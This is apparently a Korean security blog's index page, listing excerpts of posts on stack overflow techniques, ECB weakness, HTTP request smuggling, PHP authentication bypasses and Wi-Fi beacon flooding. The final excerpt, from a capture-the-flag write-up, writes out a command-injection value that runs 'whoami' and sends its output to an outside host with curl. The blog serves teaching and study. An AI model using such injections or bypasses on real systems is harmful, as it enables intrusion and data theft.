🔒Security
[bof] - Frame faking (Fake EBP) 공격 기법
[bof] - Frame faking (Fake EBP) 공격 기법
2019.09.250x01 what is Frame faking Frame faking 공격은 RET까지 덮어 쓸 수 있는 상태이고 RET에 스택 또는 라이브러리 주소 등을 덮어 씌울 수 없는 상황일때 사용하는 공격 기법이다. 이 공격 기법은 SFP를 덮어씌우고 RET 주소를 leave 주소로 덮어씌워 buf에 있는 shellcode를 실행하게 할 수 있다. 0x02 Concept 이 글은 64bit를 기준으로 설명을 적었다. 우선 이 공격을 배우기 위해서는 LEAVE 명령어와 RET 명령어에 대해 알고 있어야 한다. LEAVE MOV ESP, EBP POP EBP RET POP EIP JMP EIP 스택이 아래처럼 구성이 되어 있다고 가정하자. 이 스택을 잘 기억해야 헷갈리지 않을 것이다. (아래로 갈수록 high ad..
[bof] - Return to Libc (RTL) 공격 기법
[bof] - Return to Libc (RTL) 공격 기법
2019.09.250x01 What is it? RTL 공격은 스택에 NX-bit 보안 기법이 적용 되었을때 사용하는 공격 기법이다. NX란 Never eXecutable stack 을 줄인 말로 "스택에서 코드 실행 불가" 라는 보안 역할을 한다. NX-bit 때문에 스택에서 shellcode를 삽입하고 이 주소를 RET에 overwrite 해도 실행되지 않아 공격이 실패하게 된다. 이를 우회 하기 위한 기법이 Return to Libc 이다. Return to Libc은 공유 라이브러리 함수의 주소를 가져와 RET에 overwrite 하고 이를 호출하는 공격 기법이다. 바이너리에 호출하려는 함수가 없어도 이미 메모리에 적재되어 있는 공유 라이브러리 함수의 주소를 가져와서 사용이 가능하다. 0x02 Prior knowl..
[bof] - Return to Shellcode 공격 기법
[bof] - Return to Shellcode 공격 기법
2019.09.25# What is it?? Return to Shellcode는 Return address 값을 shellcode가 저장된 주소로 변경해, shellcode를 호출하는 방식이다. Return address 값은 보통 어셈블리어에서 CALL 또는 RET 명령어를 호출 후 스택에 저장이 된다. # CALL & RET CALL 명령어는 다음과 같은 행위가 이루어진다. CALL PUSH ReturnAddress JMP CALL 명령어는 CALL 명령어 다음 명령어의 주소 값을 stack에 저장하고 피연산자 주소로 이동한다. 현재 ESP가 다음 명령어로 이동할 주소 값을 가르키고 있고, 이때 RET 명령어는 POP 명령어로 EIP에 저장하고 해당 주소로 이동한다. RET POP EIP JMP EIP # Previ..
ECB 설명 및 취약점
ECB 설명 및 취약점
2019.09.17Concept ECB(Electronic codebook)는 암호화하려는 메시지를 여러 불록으로 나누어 각각 암호화 하는 방식이다. 암호화를 하기 위해서는 반드시 암호화에 쓰이는 대칭키 의 길이와 각 블록에 들어있는 길이가 같아야 한다. 예를들어 다음과 같은 평문이 있다고 가정하자. 123456789abcdefg 우선 암호화를 하기위한 대칭키 K(6자리)가 있고 위 평문을 6개씩 묶어 블록으로 나눈다. 123456 789abc defg 3번째 defg는 ECB 암호화를 하기에는 규칙에 맞지 않아, 패딩(Padding)이라는 것을 해준다. 이는 빈 공간을 채우는 역할로 여러가지 빈공간을 채우는 방식이 있지만 0으로 채워 넣겠다. 123456 789abc defg00 각 6개씩 3개의 블록으로 나누어 졌고,..
apache2 404 not found page 바꾸기
apache2 404 not found page 바꾸기
2019.09.12상태 코드를 공격자에게 그대로 노출 시키는 것은 공격자에게 서버 구조를 조금이나마 유추가 가능해지기 때문에 숨기는 것이 좋다. apache2는 /etc/apache2/sites-available/ 디렉토리에 현재 운용되고 있는 conf 파일을 수정한다. ServerName lactea.kr DocumentRoot ....... ........ ErrorLog ${APACHE_LOG_DIR}/lactea_error.log CustomLOG ${APACHE_LOG_DIR}/lactea_access.log combined Errordocument 404 "/error.html" 위 코드 처럼 Errordocument [상태코드] [보여줄 페이지] 를 적어준다. 필자는 404 not found 일 경우 /err..
Paypal에서 발견된 HTTP Request Smuggling 설명 및 예제
Paypal에서 발견된 HTTP Request Smuggling 설명 및 예제
2019.08.30========= `추가 (2020-08-10)` ======== 이 공격에 좀 더 공부를 해서 portswigger 문서를 번역한 pdf 파일을 공유한다. 글 본문의 내용과 비슷하지만 아래 PDF 문서를 보는 것을 추천한다. 아래 번역글은 portswigger에서 얻은 자료들을 바탕으로 만들어 졌다. 입문: HTTP Request Smuggling 이란 HTTP Request Smugging vulnerability test HTTP Request Smugging Exploit `Exploit using python` python 으로 http request smuggling tool 만들기 소스 코드는 github 에서 볼 수 있으니 참고 바란다. 모든 기능은 완성되지 않았지만, 사용하는데 문제는 없..
[php] - strcmp를 이용한 취약한 인증절차
[php] - strcmp를 이용한 취약한 인증절차
2019.04.12strcmp 함수는 다들 알다시피 문자열을 비교하여 -1 또는 0 또는 1을 반환하는 함수이다. strcmp('a', 'b') => -1 strcmp('b', 'b') => 0 strcmp('c', 'b') => 1 만약 admin인지 아닌지를 검사하는 코드가 있다고 가정하자. 아래와 같은 결과가 출력이 된다. 위와 같은 코드로 admin인지 문자열을 비교한 후 결과를 출력하게 된다. 만약 비교하는 문자열이 admin이 아니라 다른 값일 경우, 어떻게 strcmp 를 우회 할 수 있을까? 방법은 strcmp 리턴값에 있다. 비교하는 문자열이 어떤 값이든 0으로만 출력하게끔 값을 넣어주면 된다. 아래와 같은 코드를 작성해본 뒤, 접속해보면 이상한 결과가 출력이 된다. test 라는 배열 변수에 이상한 값을..
[php] - register_globals on 취약점
[php] - register_globals on 취약점
2019.04.11이 취약점을 설명하기 전에 php 5.4 버전 이후에서는 동작하지 않는다. 해당 옵션이 사라졌기 때문에 실습을 하고 싶다면 php 5.4 이하의 버전에서 실습을 하기 바란다. ==실습환경== apmsetup 으로 임시 서버를 열어 실습을 진행했다. php 버전은 5.2 이다. php.ini 설정 파일에 register_globals 라는 옵션이 있다. 이 옵션을 on 하게 되면 취약점이 발생하게 된다. register_globals = On 이 옵션을 On 하게 되면 GET 또는 POST 방식 등으로 전될 된 모든 변수가 자동으로 php의 변수로 변환이 된다. 코드를 예로 들어 설명하면 아래와 같다. 위와 같은 코드를 작성하고 웹으로 접근을 해보면 당연히 fail 이라는 문구가 출력이된다. success..
python을 이용한 beacon flooding attack
python을 이용한 beacon flooding attack
2019.04.06WIFI, 즉 AP기기들은 무선 네트워크 상에서 자신을 알리기 위해 주기적으로 Beacon Frame 패킷을 broadcast로 전송한다. 이와 관련된 정보는 아래 링크를 통해서 알아보자. https://universe-blog.tistory.com/entry/wifi%EA%B0%80-%EB%B3%B4%EB%82%B4%EB%8A%94-beacon-frame-%ED%8C%A8%ED%82%B7-%EB%B6%84%EC%84%9D 불러오는 중입니다... Beacon Flooding Attack Beacon frame 패킷을 이용하여 Beacon 패킷을 주기적으로 보내면 WIFI 목록에는 진짜 AP가 있는 것 처럼 보이게 될 것이다. 이 점을 악용하여 기존의 AP의 MAC 주소와 SSID, channel 등 똑같..
wifi가 보내는 beacon frame 패킷 분석
wifi가 보내는 beacon frame 패킷 분석
2019.04.06이 글은 2019 code gate에서 체험 부스를 보고, 그와 관련된 정보를 찾아 정리한 글이다. 우리는 스마트 폰이나 노트북으로 인터넷을 하기 위해 WIFI를 찾는다. 그런데 우리 주변에 WIFI의 존재와 WIFI의 이름, 신호세기 등을 어떻게 아는 것인가? Beacon Frame Beacon Frame은 무선 네트워크 속에서 자신을 알리고, 무선 네트워크에 참여 할 수 있도록 broadcast로 주기적으로 전송하는 패킷이다. 이러한 패킷 때문에 우리는 장비들을 통해 주변의 WIFI의 존재 유무를 알 수 있게 된다. Beacon frame 패킷안에는 AP의 SSID, Channel, 암호화, 전송률 등이 포함되어 있다. 여기서 AP는 WIFI와 같다고 생각하면 되고, SSID는 SubSystem Id..
[Network] – tcp 연결 분석
[Network] – tcp 연결 분석
2019.04.06[TCP 란?] 전송 제어 프로토콜(Transmission Control Protocol) 인터넷에 연결된 컴퓨터 간의 정보 를 안정적이고 순서대로, 에러없이 교환할 수 있게 한다. 연결 및 데이터 전송을 하기 위해 3 way handshake와 연결 종료를 위해 4 way handshake를 한다. 안정성을 필요로 하지 않을 경우 TCP 대신 UDP(User Datagram Protocol)을 사용한다. UDP의 예로는 인터넷 방송 등이 있다. [3-way-hand-shake] 3wayhandshake는 client가 server에 요청하고 server에게 데이터를 받기 위해 신뢰성 연결을 하게 된다. client가 Server에게 SYN(a) 패킷을 보낸다. 이때 a는 Sequence Number를 ..
[System] – 리눅스 백쿼터 (back quote) with curl
[System] – 리눅스 백쿼터 (back quote) with curl
2019.04.06백 쿼터 (` `) 백 쿼터 안에 있는 문자열을 명령어로 인식하게 만든다. 예를 보면서 이해해보자. 이걸 적는 이유는 ctf 문제 때문이다. admin.php 에 get 방식으로 cmd 라는 변수로 vaule를 넘기면 system 함수를 실행하는 문제였다. (실제로 문제 소스 코드는 저렇지 않았다.) 이 문제가 SSRF 취약점을 이용하는 문제였다. 서버가 클라이언트에게 요청을 보내는 방법에서 발생한 취약점인데, 아래 처럼 curl 과 백 쿼터를 이용하여 써먹을 수 있다. Attacker 가 value 를 curl https://univ-blog.xyz/?result=`whoami` 라고 보내게 되면 server에서 백 쿼터로 감싸여 있는 whoami 명령어를 실행한 후 그 출력 값을 result 라는 변..